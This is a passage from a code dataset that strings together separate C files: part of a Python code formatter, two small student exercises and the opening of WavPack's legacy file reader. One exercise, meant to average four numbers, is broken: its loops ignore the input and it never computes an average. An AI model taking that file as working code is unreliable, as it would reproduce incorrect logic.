ib->len; } static size_t vlbuf_append(struct vlbuf *ib, const char *str, int lstr, size_t countedlen, FILE *out) { if (ib) { if (ib->len <= countedlen + lstr + 1) { vlbuf_expand(ib, lstr + countedlen + 1); } memcpy(&ib->d.ch[countedlen], str, lstr + 1); } if (out) { fwrite(str, 1, lstr, out); } return lstr + countedlen; } static size_t vlbuf_extend(struct vlbuf *ib, char ch, int nch, size_t countedlen, FILE *out) { if (ib) { if (ib->len <= countedlen + nch + 1) { vlbuf_expand(ib, countedlen + nch + 1); } memset(&ib->d.ch[countedlen], ch, nch); ib->d.ch[countedlen + nch + 1] = '\0'; } if (out) { char buf[1024]; memset(buf, ' ', nch > 1024 ? 1024 : nch); int wrt = nch; while (wrt > 0) { fwrite(buf, 1, wrt > 1024 ? 1024 : wrt, out); wrt -= 1024; } } return nch + countedlen; } static void vlbuf_free(struct vlbuf *ib) { free(ib->d.vd); ib->d.vd = 0; ib->len = 0; } static size_t strapp(char *target, const char *app) { size_t delta = 0; while (*app != '\0') { target[delta] = *app; delta++; app++; } return delta; } static const char *tok_to_string(int tok) { switch (tok) { case TOK_LABEL: return "LAB"; case TOK_SPECIAL: return "SPC"; case TOK_NUMBER: return "NUM"; case TOK_STRING: return "STR"; case TOK_TRISTR: return "TST"; case TOK_OBRACE: return "OBR"; case TOK_CBRACE: return "CBR"; case TOK_COMMENT: return "CMT"; case TOK_OPERATOR: return "OPR"; case TOK_EQUAL: return "EQL"; case TOK_EXP: return "EXP"; case TOK_COLON: return "CLN"; case TOK_COMMA: return "CMA"; case TOK_INBETWEEN: return "INB"; case TOK_LCONT: return "LCO"; case TOK_DOT: return "DOT"; case TOK_UNARYOP: return "UNO"; default: return "???"; } } static const char *ls_to_string(int ls) { switch (ls) { case LINE_IS_BLANK: return "LINE_BLNK"; case LINE_IS_CONTINUATION: return "LINE_CONT"; case LINE_IS_NORMAL: return "LINE_NORM"; case LINE_IS_TRISTR: return "LINE_TSTR"; default: return "LINE_????"; } } static int isalpha_lead(char c) { if ((unsigned int)c > 127) return 1; if ('a' <= c && c <= 'z') return 1; if ('A' <= c && c <= 'Z') return 1; if ('_' == c) return 1; return 0; } static int isnumeric_lead(char c) { if ('0' <= c && c <= '9') return 1; if ('.' == c) return 1; return 0; } static int isoptype(char c) { if (c == '=' || c == '+' || c == '-' || c == '@' || c == '|' || c == '^' || c == '&' || c == '*' || c == '/' || c == '<' || c == '>' || c == '!' || c == '~' || c == '%') return 1; return 0; } /* import keyword; print(*keyword.kwlist) */ static const char *specnames[] = { "and", "as", "assert", "break", "class", "continue", "def", "del", "elif", "else", "except", "finally", "for", "from", "global", "if", "import", "in", "is", "lambda", "nonlocal", "not", "or", "pass", "raise", "return", "try", "while", "with", "yield", NULL}; static int *spectable = NULL; static int *terminal = NULL; static void make_special_name_table() { /* string tree uses least memory; this is simpler to debug */ int ncodes = 0; int nstates = 0; for (int i = 0; specnames[i]; i++) { nstates += strlen(specnames[i]) + 1; ncodes++; } spectable = (int *)malloc(sizeof(int) * 26 * nstates); terminal = (int *)malloc(sizeof(int) * nstates); /* by default all paths lead one to failure */ for (int i = 0; i < 26 * nstates; i++) { spectable[i] = -1; } for (int i = 0; i < nstates; i++) { terminal[i] = 0; } /* fill in table, reusing old paths if available */ int gstate = 1; for (int i = 0; i < ncodes; i++) { const char *s = specnames[i]; int cstate = 0; for (int k = 0; s[k]; k++) { int cc = s[k] - 'a'; if (spectable[26 * cstate + cc] == -1) { spectable[26 * cstate + cc] = gstate; cstate = gstate; gstate++; } else { cstate = spectable[26 * cstate + cc]; } } terminal[cstate] = 1; } } static void free_special_name_table() { free(spectable); free(terminal); } static int is_special_name(const char *tst) { int fcode = 0; for (int k = 0; tst[k]; k++) { if (tst[k] < 'a' || tst[k] > 'z') { return 0; } fcode = spectable[26 * fcode + (tst[k] - 'a')]; if (fcode == -1) { return 0; } } return terminal[fcode]; } static void pyformat(FILE *file, FILE *out, struct vlbuf *origfile, struct vlbuf *formfile) { struct vlbuf linebuf = vlbuf_make(sizeof(char)); struct vlbuf tokbuf = vlbuf_make(sizeof(char)); struct vlbuf toks = vlbuf_make(sizeof(int)); struct vlbuf laccum = vlbuf_make(sizeof(char)); struct vlbuf splitpoints = vlbuf_make(sizeof(int)); struct vlbuf split_ratings = vlbuf_make(sizeof(int)); struct vlbuf split_nestings = vlbuf_make(sizeof(int)); struct vlbuf lineout = vlbuf_make(sizeof(char)); char *tokd = NULL; char *stokd = NULL; int ntoks = 0; char string_starter = '\0'; int line_state = LINE_IS_NORMAL; int leading_spaces = 0; int nestings = 0; int netlen = 0; int origfilelen = 0; int formfilelen = 0; int no_more_lines = 0; while (1) { int llen = 0; { char *readct; while (1) { readct = fgets(&linebuf.d.ch[llen], linebuf.len - 3 - llen, file); if (!readct) break; int rlen = strlen(readct); if (feof(file) && readct[rlen - 1] != '\n') { /* if file ends, preserve line invariants by adding newline */ readct[rlen] = '\n'; readct[rlen + 1] = '\0'; rlen++; no_more_lines = 1; } if (origfile) { if (origfile->len < rlen + origfilelen) vlbuf_expand(origfile, rlen + origfilelen); memcpy(&origfile->d.ch[origfilelen], &linebuf.d.ch[llen], rlen + 1); origfilelen += rlen; } llen += rlen; if (linebuf.d.ch[llen - 1] != '\n') { vlbuf_expand(&linebuf, llen + 3); } else { break; } } if (!readct) { break; } } if (line_state == LINE_IS_NORMAL || line_state == LINE_IS_BLANK) { netlen = llen; ntoks = 0; /* Ensure buffers can hold the worst case line */ if (tokbuf.len < netlen * 2) { vlbuf_expand(&tokbuf, netlen * 2); vlbuf_expand(&toks, netlen * 2); } tokd = tokbuf.d.ch; stokd = tokbuf.d.ch; nestings = 0; } else { /* Adjust buffers in the case of line extension */ netlen += llen; int tokdoff = tokd - tokbuf.d.ch; int stokdoff = stokd - tokbuf.d.ch; if (tokbuf.len < netlen * 2) { vlbuf_expand(&tokbuf, netlen * 2); vlbuf_expand(&toks, netlen * 2); } tokd = &tokbuf.d.ch[tokdoff]; stokd = &tokbuf.d.ch[stokdoff]; } /* token-split the line with NULL characters; double NULL is eof */ /* Tokenizer state machine */ char *cur = linebuf.d.ch; /* space char gives room for termination checks */ if (llen > 0) cur[llen - 1] = '\n'; cur[llen] = '\0'; cur[llen + 1] = '\0'; int is_whitespace = 1; for (char *c = cur; *c != '\n'; ++c) if (*c != ' ' && *c != '\t') is_whitespace = 0; int dumprest = 0; if (line_state == LINE_IS_TRISTR) { /* tristrings are unaffected by blank lines */ } else if (is_whitespace) { if (line_state == LINE_IS_CONTINUATION) { line_state = LINE_IS_BLANK; dumprest = 1; } else if (line_state == LINE_IS_BLANK) { continue; } else { line_state = LINE_IS_BLANK; } } else if (line_state == LINE_IS_BLANK) { line_state = LINE_IS_NORMAL; } if (line_state == LINE_IS_NORMAL) { leading_spaces = 0; for (; cur[0] == '\n' || cur[0] == ' ' || cur[0] == '\t'; cur++) { leading_spaces++; } } else { } int proctok = TOK_INBETWEEN; if (line_state == LINE_IS_TRISTR) { proctok = TOK_TRISTR; --ntoks; --tokd; } char *eolpos = &cur[strlen(cur) - 1]; char lopchar = '\0'; int numlen = 0; int nstrescps = 0; int nstrleads = 0; for (; cur[0]; cur++) { /* main tokenizing loop */ if (cur[0] == '\t') { cur[0] = ' '; } int inside_string = proctok == TOK_STRING || proctok == TOK_TRISTR; if (!inside_string && cur[0] == ' ' && cur[1] == ' ') { continue; } /* single space is a token boundary ... */ char nxt = *cur; int ignore = 0; int tokfin = 0; int otok = proctok; switch (proctok) { case TOK_SPECIAL: case TOK_LABEL: { if (isalpha_lead(nxt) || ('0' <= nxt && nxt <= '9')) { } else if (nxt == '\'' || nxt == '\"') { /* String with prefix */ proctok = TOK_STRING; nstrleads = 1; string_starter = nxt; } else { tokfin = 1; proctok = TOK_INBETWEEN; ignore = 1; cur--; } } break; case TOK_DOT: case TOK_NUMBER: { /* We don't care about the number itself, just that things stay * numberish */ int isdot = (numlen == 1) && cur[-1] == '.' && !isnumeric_lead(nxt); if (!isdot && isnumeric_lead(nxt)) { } else if (cur[-1] == 'e' && (nxt == '-' || nxt == '+')) { } else if (!isdot && (nxt == 'e' || nxt == 'x')) { } else { if (cur[-1] == '.' && numlen == 1) otok = TOK_DOT; tokfin = 1; proctok = TOK_INBETWEEN; ignore = 1; cur--; } numlen++; } break; case TOK_STRING: { /* The fun one */ int ffin = 0; if (nxt == string_starter) { nstrleads++; } else { if (nstrleads == 2) { /* implicitly to the end */ ffin = 1; cur--; ignore = 1; } else { nstrleads = 0; } } if (nstrleads == 3) { proctok = TOK_TRISTR; nstrleads = 0; nstrescps = 0; } else if (!ffin && nstrleads == 2) { /* doubled */ } else if ((nxt != string_starter || (nstrescps % 2 == 1 && nxt == string_starter)) && !ffin) { if (nxt == '\\') { nstrescps++; } else { nstrescps = 0; } } else { tokfin = 1; proctok = TOK_INBETWEEN; } } break; case TOK_TRISTR: { /* Only entry this once we've been in TOK_STRING */ if (nxt == string_starter && nstrescps % 2 == 0) { nstrleads++; } else { nstrleads = 0; } if ((nxt != string_starter || (nstrescps % 2 == 1 && nxt == string_starter))) { if (nxt == '\\') { nstrescps++; } else { nstrescps = 0; } } if (nstrleads == 3) { tokfin = 1; proctok = TOK_INBETWEEN; } } break; case TOK_OBRACE: { /* Single character */ tokfin = 1; proctok = TOK_INBETWEEN; } break; case TOK_CBRACE: { /* Single character */ tokfin = 1; proctok = TOK_INBETWEEN; } break; case TOK_COMMENT: { /* do nothing because comment goes to EOL */ } break; case TOK_EQUAL: case TOK_EXP: case TOK_UNARYOP: case TOK_OPERATOR: { /* Operator handles subtypes */ if (lopchar == '\0' && isoptype(nxt)) { } else if (lopchar == '*' && nxt == '*') { proctok = TOK_EXP; } else if (lopchar == '/' && nxt == '/') { } else if (lopchar == '>' && nxt == '>') { } else if (lopchar == '<' && nxt == '<') { } else if (nxt == '=') { if (proctok == TOK_EXP) { proctok = TOK_OPERATOR; } } else { if (proctok != TOK_EXP) { if (lopchar == '-' || lopchar == '+' || lopchar == '*') { otok = TOK_UNARYOP; } if (lopchar == '=' && !isoptype(cur[-2])) { otok = TOK_EQUAL; } } tokfin = 1; proctok = TOK_INBETWEEN; ignore = 1; cur--; } lopchar = nxt; } break; case TOK_COMMA: { /* Single character */ tokfin = 1; proctok = TOK_INBETWEEN; } break; case TOK_COLON: { /* Single character */ tokfin = 1; proctok = TOK_INBETWEEN; } break; case TOK_LCONT: { /* Single character */ tokfin = 1; proctok = TOK_INBETWEEN; } break; case TOK_INBETWEEN: { ignore = 1; if (nxt == '#') { proctok = TOK_COMMENT; /* nix the terminating newline */ linebuf.d.ch[llen - 1] = ' '; } else if (nxt == '"' || nxt == '\'') { string_starter = nxt; proctok = TOK_STRING; ignore = 0; nstrescps = 0; nstrleads = 1; } else if (isoptype(nxt)) { lopchar = '\0'; proctok = TOK_OPERATOR; cur--; } else if (nxt == ',') { proctok = TOK_COMMA; cur--; } else if (nxt == ':') { proctok = TOK_COLON; cur--; } else if (nxt == '(' || nxt == '[' || nxt == '{') { proctok = TOK_OBRACE; cur--; } else if (nxt == ')' || nxt == ']' || nxt == '}') { proctok = TOK_CBRACE; cur--; } else if (nxt == '\\') { proctok = TOK_LCONT; cur--; } else if (isalpha_lead(nxt)) { proctok = TOK_LABEL; cur--; } else if (isnumeric_lead(nxt)) { numlen = 0; proctok = TOK_NUMBER; cur--; } } break; } if (!ignore) { *tokd = *cur; tokd++; } if (cur == eolpos && otok != TOK_INBETWEEN) { tokfin = 1; } if (tokfin) { *tokd = '\0'; ++tokd; /* convert label to special if it's a word in a list we have */ if (otok == TOK_LABEL && is_special_name(stokd)) { otok = TOK_SPECIAL; } if (otok == TOK_OBRACE) { nestings++; } else if (otok == TOK_CBRACE) { nestings--; } toks.d.in[ntoks] = otok; stokd = tokd; ntoks++; } } *tokd = '\0'; /* determine if the next line shall continue this one */ if (line_state == LINE_IS_BLANK) { line_state = LINE_IS_BLANK; } else if (proctok == TOK_TRISTR) { line_state = LINE_IS_TRISTR; } else if ((ntoks > 0 && toks.d.in[ntoks - 1] == TOK_LCONT) || nestings > 0) { line_state = LINE_IS_CONTINUATION; } else { line_state = LINE_IS_NORMAL; } if (line_state == LINE_IS_BLANK && !dumprest) { formfilelen = vlbuf_append(formfile, "\n", 1, formfilelen, out); } else if (line_state == LINE_IS_NORMAL || no_more_lines || dumprest) { /* Introduce spaces to list */ /* split ratings 0 is regular; -1 is force/cmt; 1 is weak */ if (laccum.len < 2 * netlen) { vlbuf_expand(&laccum, 2 * netlen); vlbuf_expand(&splitpoints, 2 * netlen); vlbuf_expand(&split_ratings, 2 * netlen); vlbuf_expand(&split_nestings, 2 * netlen); vlbuf_expand(&lineout, 2 * netlen); vlbuf_expand(&laccum, 2 * netlen); } int nsplits = 0; char *buildpt = laccum.d.ch; /* Line wrapping & printing, oh joy */ char *tokpos = tokbuf.d.ch; char *ntokpos = tokpos; int nests = 0; int pptok = TOK_INBETWEEN; int pretok = TOK_INBETWEEN; int postok = toks.d.in[0]; for (int i = 0; i < ntoks; i++) { ntokpos += strlen(ntokpos) + 1; while (toks.d.in[i + 1] == TOK_LCONT && i < ntoks) { ntokpos += strlen(ntokpos) + 1; i++; } pptok = pretok; pretok = postok; postok = toks.d.in[i + 1]; if (pretok == TOK_OBRACE) { nests++; } if (pretok == TOK_COMMENT) { int toklen = strlen(tokpos); char *eos = tokpos + toklen - 1; char *sos = tokpos; while (*sos == ' ') { sos++; } while (*eos == ' ') { *eos = '\0'; eos--; } if (sos[0] == '!' || sos > eos) { *buildpt++ = '#'; } else { *buildpt++ = '#'; *buildpt++ = ' '; } buildpt += strapp(buildpt, sos); split_ratings.d.in[nsplits] = SSCORE_COMMENT; } else { buildpt += strapp(buildpt, tokpos); if (pretok == TOK_COMMA && postok != TOK_CBRACE && nests > 0) { split_ratings.d.in[nsplits] = 1; } else if (pretok == TOK_COLON && postok != TOK_CBRACE) { split_ratings.d.in[nsplits] = 1; } else if (pretok == TOK_LABEL && postok == TOK_OBRACE) { split_ratings.d.in[nsplits] = SSCORE_NESTING; } else if (pretok == TOK_DOT || postok == TOK_DOT) { split_ratings.d.in[nsplits] = -2; } else { split_ratings.d.in[nsplits] = 0; } } splitpoints.d.in[nsplits] = buildpt - laccum.d.ch; split_nestings.d.in[nsplits] = nests; nsplits++; tokpos = ntokpos; int space; if (pretok == TOK_COMMENT) { space = 0; } else if (pptok == TOK_INBETWEEN && pretok == TOK_OPERATOR && postok == TOK_LABEL) { /* annotation */ space = 0; } else if (pretok == TOK_EQUAL || postok == TOK_EQUAL) { space = (nests == 0); } else if (pretok == TOK_SPECIAL) { if (postok == TOK_COLON) { space = 0; } else { space = 1; } } else if (postok == TOK_SPECIAL) { space = 1; } else if (pretok == TOK_TRISTR && postok == TOK_TRISTR) { space = 0; } else if (pretok == TOK_EXP || postok == TOK_EXP) { space = 0; } else if (pretok == TOK_DOT || postok == TOK_DOT) { space = 0; } else if (pretok == TOK_OPERATOR && postok == TOK_UNARYOP) { space = 1; } else if (pretok == TOK_LABEL && postok == TOK_UNARYOP) { space = 1; } else if (pretok == TOK_CBRACE && postok == TOK_UNARYOP) { space = 1; } else if (pretok == TOK_OBRACE && postok == TOK_UNARYOP) { space = 0; } else if (pretok == TOK_UNARYOP) { if (pptok == TOK_OPERATOR || pptok == TOK_EXP || pptok == TOK_COMMA || pptok == TOK_OBRACE || pptok == TOK_EQUAL || pptok == TOK_COLON) { space = 0; } else { space = 1; } } else if (postok == TOK_COMMA || postok == TOK_COLON) { space = 0; } else if (pretok == TOK_COMMA) { if (postok == TOK_CBRACE) { space = 0; } else { space = 1; } } else if (pretok == TOK_COLON) { if (pptok == TOK_LABEL || pptok == TOK_SPECIAL) { space = 1; } else { space = 0; } } else if (pretok == TOK_CBRACE && postok == TOK_LABEL) { space = 1; } else if (pretok == TOK_OPERATOR || postok == TOK_OPERATOR) { space = 1; } else if (pretok == TOK_OBRACE || postok == TOK_CBRACE || pretok == TOK_CBRACE || postok == TOK_OBRACE) { space = 0; } else { space = 1; } if (space && i < ntoks - 1) { *buildpt++ = ' '; } if (postok == TOK_CBRACE) { nests--; } } int eoff = buildpt - laccum.d.ch; /* the art of line breaking */ int length_left = 80 - leading_spaces; /* write leading space buffer */ formfilelen = vlbuf_extend(formfile, ' ', leading_spaces, formfilelen, out); if (nsplits > 0) { for (int i = 0; i < nsplits; i++) { int fr = i > 0 ? splitpoints.d.in[i - 1] : 0; int to = i >= nsplits - 1 ? eoff : splitpoints.d.in[i]; memcpy(lineout.d.ch, &laccum.d.ch[fr], to - fr); lineout.d.ch[to - fr] = '\0'; int nlen = to - fr; int comment_split = i > 0 ? split_ratings.d.in[i - 1] == SSCORE_COMMENT : 0; /* The previous location provides the break-off score */ int best_score = -1000000, bk = -1; for (int rleft = length_left, k = i; k < nsplits && rleft >= 0; k++) { /* Estimate segment length, walk further */ int fr = k > 0 ? splitpoints.d.in[k - 1] : 0; int to = k >= nsplits - 1 ? eoff : splitpoints.d.in[k]; int seglen = to - fr; rleft -= seglen; /* We split at the zone with the highest score */ int reduced_nestings = split_nestings.d.in[k - 1]; if (reduced_nestings > 0) reduced_nestings--; int split_score = k > 0 ? (split_ratings.d.in[k - 1] + SSCORE_NESTING * reduced_nestings) : 0; if (split_score >= best_score) { best_score = split_score; bk = k; } /* Never hold up a terminator */ if (rleft >= 0 && k == nsplits - 1) { bk = -1; } } int want_split = (bk == i); int length_split = (nlen >= length_left); int continuing = 1; if (i == 0) { continuing = 1; } else if (comment_split || length_split || want_split) { continuing = 0; } else { continuing = 1; } if (continuing) { length_left -= nlen; formfilelen = vlbuf_append(formfile, lineout.d.ch, strlen(lineout.d.ch), formfilelen, out); } else { char *prn = &lineout.d.ch[0]; if (lineout.d.ch[0] == ' ') { prn = &lineout.d.ch[1]; nlen -= 1; } if (comment_split || split_nestings.d.in[i - 1] > 0) { formfilelen = vlbuf_append(formfile, "\n", 1, formfilelen, out); } else { formfilelen = vlbuf_append(formfile, " \\\n", 3, formfilelen, out); } length_left = 80 - leading_spaces - 4 - nlen; formfilelen = vlbuf_extend(formfile, ' ', leading_spaces + 4, formfilelen, out); formfilelen = vlbuf_append(formfile, prn, strlen(prn), formfilelen, out); } } formfilelen = vlbuf_append(formfile, "\n", 1, formfilelen, out); } else { formfilelen = vlbuf_append(formfile, laccum.d.ch, strlen(laccum.d.ch), formfilelen, out); formfilelen = vlbuf_append(formfile, "\n", 1, formfilelen, out); } if (line_state == LINE_IS_BLANK) { formfilelen = vlbuf_append(formfile, "\n", 1, formfilelen, out); } else { line_state = LINE_IS_NORMAL; } } } vlbuf_free(&linebuf); vlbuf_free(&tokbuf); vlbuf_free(&toks); vlbuf_free(&laccum); vlbuf_free(&splitpoints); vlbuf_free(&split_ratings); vlbuf_free(&split_nestings); vlbuf_free(&lineout); } /* simple fprintf replacement */ static void logerr(int narg, ...) { va_list alist; if (narg > 1) { int netlen = 0; va_start(alist, narg); for (int i = 0; i < narg; i++) { const char *s = va_arg(alist, const char *); netlen += strlen(s); } va_end(alist); char *data = (char *)malloc(netlen); va_start(alist, narg); char *local = data; for (int i = 0; i < narg; i++) { const char *s = va_arg(alist, const char *); local += strapp(local, s); } va_end(alist); write(STDERR_FILENO, data, netlen); free(data); } else { va_start(alist, narg); const char *s = va_arg(alist, const char *); write(STDERR_FILENO, s, strlen(s)); va_end(alist); } } int main(int argc, char **argv) { (void)ls_to_string; (void)tok_to_string; int inplace = 0; if (argv[0][strlen(argv[0]) - 1] == 'i') { inplace = 1; } if (argc == 1) { if (inplace) { logerr(1, "Usage: pfai [files]\n (to stdout) pfa [files]\n"); } else { logerr(1, "Usage: pfa [files]\n (in place) pfai [files]\n"); } return 1; } make_special_name_table(); struct vlbuf origfile = vlbuf_make(sizeof(char)); struct vlbuf formfile = vlbuf_make(sizeof(char)); int maxnlen = 0; for (int i = 1; i < argc; i++) { int l = strlen(argv[i]); if (l > maxnlen) maxnlen = l; } char *nbuf = (char *)malloc(sizeof(char) * (maxnlen + 12)); for (int i = 1; i < argc; i++) { const char *name = argv[i]; FILE *in = fopen(name, "r"); if (!in) { logerr(3, "File ", name, " dne\n"); return 1; } /* Format file contents, saving to stdout or to buffers */ pyformat(in, inplace ? 0 : stdout, inplace ? &origfile : 0, inplace ? &formfile : 0); fclose(in); if (inplace) { int unchanged = strcmp(origfile.d.ch, formfile.d.ch) == 0; if (unchanged) { /* Do nothing */ } else { /* Construct the temporary name */ int l = strlen(name); strncpy(nbuf, name, l + 1); int co = 0; for (int j = l - 1; j >= 0; j--) if (name[j] == '/') { co = j + 1; break; } strncpy(&nbuf[co], ".pfa_XXXXXX", 12); /* Write to temporary */ int fo = mkstemp(nbuf); write(fo, formfile.d.ch, strlen(formfile.d.ch)); close(fo); /* Ensure properties match */ struct stat st; if (stat(name, &st) < 0) { logerr(3, "Could not get original permissions for ", name, "\n"); } else { chmod(nbuf, st.st_mode); chown(nbuf, st.st_uid, st.st_gid); } int s = rename(nbuf, name); if (s) { logerr(5, "Failed to overwrite ", name, " with ", nbuf, "\n"); remove(nbuf); } } } } vlbuf_free(&origfile); vlbuf_free(&formfile); free(nbuf); free_special_name_table(); }
the_stack_data/167330816.c
/*Programmer Chase Singhofen date 10/25/2016 Specifications:Enter 4 numbers and print average of those numbers*/ #include<stdio.h> #include<stdlib.h> main() { int i, j, k, l; printf("enter 1 number\n"); scanf_s("%i", &i); for (i = 0; i <= 4; i++) for (j = 0; j < 3; j++) printf("%i", j); { } { printf("enter 2 numbers\n");//only need 2 "for loops". triangle problem }/* for (k = 0; k < 2; k++) { printf("enter 3 numbers\n"); } for (l = 0; l < 1; l++) { printf("enter 4 numbers\n"); }*/ system("pause"); } //end main
the_stack_data/1169065.c
#include<stdio.h> #include<stdlib.h> int main(void) { printf("Input number of measurements: "); int no; scanf("%i", &no); float* tab = malloc(no * sizeof(float)); float mean; float sum = 0; printf("Input numbers: \n"); for(int i = 0; i < no; i++) { scanf("%f", &tab[i]); sum = sum + tab[i]; } mean = sum / no; for(int i = 0; i < no; i++) { if (tab[i] > mean) { printf("%f ", tab[i]); } } free(tab); return 0; }
the_stack_data/156391883.c
//////////////////////////////////////////////////////////////////////////// // **** WAVPACK **** // // Hybrid Lossless Wavefile Compressor // // Copyright (c) 1998 - 2013 Conifer Software. // // All Rights Reserved. // // Distributed under the BSD Software License (see license.txt) // //////////////////////////////////////////////////////////////////////////// // unpack3_open.c // This module provides an extension to the open_utils.c module for handling // WavPack files prior to version 4.0, not including "raw" files. As these // modes are all obsolete and are no longer written, this code will not be // fully documented other than the global functions. However, full documenation // is provided in the version 3.97 source code. Note that this module only // provides the functionality of opening the files and obtaining information // from them; the actual audio decoding is located in the unpack3.c module. #ifdef ENABLE_LEGACY #include <stdlib.h> #include <string.h> #include "wavpack_local.h" #include "unpack3.h" #define ATTEMPT_ERROR_MUTING // This provides an extension to the WavpackOpenFileRead () function contained // in the wputils.c module. It is assumed that an 'R' had been read as the // first character of the file/stream (indicating a non-raw pre version 4.0 // WavPack file) and had been pushed back onto the stream (or simply seeked // back to). WavpackContext *open_file3 (WavpackContext *wpc, char *error) { RiffChunkHeader RiffChunkHeader; ChunkHeader ChunkHeader; WavpackHeader3 wphdr; WavpackStream3 *wps; WaveHeader3 wavhdr; CLEAR (wavhdr); wpc->stream3 = wps = (WavpackStream3 *) malloc (sizeof (WavpackStream3)); CLEAR (*wps); if (wpc->reader->read_bytes (wpc->wv_in, &RiffChunkHeader, sizeof (RiffChunkHeader)) != sizeof (RiffChunkHeader)) { if (error) strcpy (error, "not a valid WavPack file!"); return WavpackCloseFile (wpc); } if (!strncmp (RiffChunkHeader.ckID, "RIFF", 4) && !strncmp (RiffChunkHeader.formType, "WAVE", 4)) { if (wpc->open_flags & OPEN_WRAPPER) { wpc->wrapper_data = malloc (wpc->wrapper_bytes = sizeof (RiffChunkHeader)); memcpy (wpc->wrapper_data, &RiffChunkHeader, sizeof (RiffChunkHeader)); } // If the first chunk is a wave RIFF header, then read the various chunks // until we get to the "data" chunk (and WavPack header should follow). If // the first chunk is not a RIFF, then we assume a "raw" WavPack file and // the WavPack header must be first. while (1) { if (wpc->reader->read_bytes (wpc->wv_in, &ChunkHeader, sizeof (ChunkHeader)) != sizeof (ChunkHeader)) { if (error) strcpy (error, "not a valid WavPack file!"); return WavpackCloseFile (wpc); } else { if (wpc->open_flags & OPEN_WRAPPER) { wpc->wrapper_data = realloc (wpc->wrapper_data, wpc->wrapper_bytes + sizeof (ChunkHeader)); memcpy (wpc->wrapper_data + wpc->wrapper_bytes, &ChunkHeader, sizeof (ChunkHeader)); wpc->wrapper_bytes += sizeof (ChunkHeader); } WavpackLittleEndianToNative (&ChunkHeader, ChunkHeaderFormat); if (!strncmp (ChunkHeader.ckID, "fmt ", 4)) { if (ChunkHeader.ckSize < sizeof (wavhdr) || wpc->reader->read_bytes (wpc->wv_in, &wavhdr, sizeof (wavhdr)) != sizeof (wavhdr)) { if (error) strcpy (error, "not a valid WavPack file!"); return WavpackCloseFile (wpc); } else if (wpc->open_flags & OPEN_WRAPPER) { wpc->wrapper_data = realloc (wpc->wrapper_data, wpc->wrapper_bytes + sizeof (wavhdr)); memcpy (wpc->wrapper_data + wpc->wrapper_bytes, &wavhdr, sizeof (wavhdr)); wpc->wrapper_bytes += sizeof (wavhdr); } WavpackLittleEndianToNative (&wavhdr, WaveHeader3Format); if (ChunkHeader.ckSize > sizeof (wavhdr)) { uint32_t bytes_to_skip = (ChunkHeader.ckSize + 1 - sizeof (wavhdr)) & ~1L; if (bytes_to_skip > 1024 * 1024) { if (error) strcpy (error, "not a valid WavPack file!"); return WavpackCloseFile (wpc); } if (wpc->open_flags & OPEN_WRAPPER) { wpc->wrapper_data = realloc (wpc->wrapper_data, wpc->wrapper_bytes + bytes_to_skip); wpc->reader->read_bytes (wpc->wv_in, wpc->wrapper_data + wpc->wrapper_bytes, bytes_to_skip); wpc->wrapper_bytes += bytes_to_skip; } else { unsigned char *temp = malloc (bytes_to_skip); wpc->reader->read_bytes (wpc->wv_in, temp, bytes_to_skip); free (temp); } } } else if (!strncmp (ChunkHeader.ckID, "data", 4)) break; else if ((ChunkHeader.ckSize + 1) & ~1L) { uint32_t bytes_to_skip = (ChunkHeader.ckSize + 1) & ~1L; if (bytes_to_skip > 1024 * 1024) { if (error) strcpy (error, "not a valid WavPack file!"); return WavpackCloseFile (wpc); } if (wpc->open_flags & OPEN_WRAPPER) { wpc->wrapper_data = realloc (wpc->wrapper_data, wpc->wrapper_bytes + bytes_to_skip); wpc->reader->read_bytes (wpc->wv_in, wpc->wrapper_data + wpc->wrapper_bytes, bytes_to_skip); wpc->wrapper_bytes += bytes_to_skip; } else { unsigned char *temp = malloc (bytes_to_skip); wpc->reader->read_bytes (wpc->wv_in, temp, bytes_to_skip); free (temp); } } } } } else { if (error) strcpy (error, "not a valid WavPack file!"); return WavpackCloseFile (wpc); } if (wavhdr.FormatTag != 1 || !wavhdr.NumChannels || wavhdr.NumChannels > 2 || !wavhdr.SampleRate || wavhdr.BitsPerSample < 16 || wavhdr.BitsPerSample > 24 || wavhdr.BlockAlign / wavhdr.NumChannels > 3 || wavhdr.BlockAlign % wavhdr.NumChannels || wavhdr.BlockAlign / wavhdr.NumChannels < (wavhdr.BitsPerSample + 7) / 8) { if (error) strcpy (error, "not a valid WavPack file!"); return WavpackCloseFile (wpc); } wpc->total_samples = ChunkHeader.ckSize / wavhdr.NumChannels / ((wavhdr.BitsPerSample > 16) ? 3 : 2); if (wpc->reader->read_bytes (wpc->wv_in, &wphdr, 10) != 10) { if (error) strcpy (error, "not a valid WavPack file!"); return WavpackCloseFile (wpc); } if (((char *) &wphdr) [8] == 2 && (wpc->reader->read_bytes (wpc->wv_in, ((char *) &wphdr) + 10, 2) != 2)) { if (error) strcpy (error, "not a valid WavPack file!"); return WavpackCloseFile (wpc); } else if (((char *) &wphdr) [8] == 3 && (wpc->reader->read_bytes (wpc->wv_in, ((char *) &wphdr) + 10, sizeof (wphdr) - 10) != sizeof (wphdr) - 10)) { if (error) strcpy (error, "not a valid WavPack file!"); return WavpackCloseFile (wpc); } WavpackLittleEndianToNative (&wphdr, WavpackHeader3Format); // make sure this is a version we know about if (strncmp (wphdr.ckID, "wvpk", 4) || wphdr.version < 1 || wphdr.version > 3) { if (error) strcpy (error, "not a valid WavPack file!"); return WavpackCloseFile (wpc); } // Because I ran out of flag bits in the WavPack header, an amazingly ugly // kludge was forced upon me! This code takes care of preparing the flags // field for internal use and checking for unknown formats we can't decode if (wphdr.version == 3) { if (wphdr.flags & EXTREME_DECORR) { if ((wphdr.flags & NOT_STORED_FLAGS) || ((wphdr.bits) && (((wphdr.flags & NEW_HIGH_FLAG) && (wphdr.flags & (FAST_FLAG | HIGH_FLAG))) || (wphdr.flags & CROSS_DECORR)))) { if (error) strcpy (error, "not a valid WavPack file!"); return WavpackCloseFile (wpc); } if (wphdr.flags & CANCEL_EXTREME) wphdr.flags &= ~(EXTREME_DECORR | CANCEL_EXTREME); } else wphdr.flags &= ~CROSS_DECORR; } // check to see if we should look for a "correction" file, and if so try // to open it for reading, then set WVC_FLAG accordingly if (wpc->wvc_in && wphdr.version == 3 && wphdr.bits && (wphdr.flags & NEW_HIGH_FLAG)) { wpc->file2len = wpc->reader->get_length (wpc->wvc_in); wphdr.flags |= WVC_FLAG; wpc->wvc_flag = TRUE; } else wphdr.flags &= ~WVC_FLAG; // check WavPack version to handle special requirements of versions // before 3.0 that had smaller headers if (wphdr.version < 3) { wphdr.total_samples = (int32_t) wpc->total_samples; wphdr.flags = wavhdr.NumChannels == 1 ? MONO_FLAG : 0; wphdr.shift = 16 - 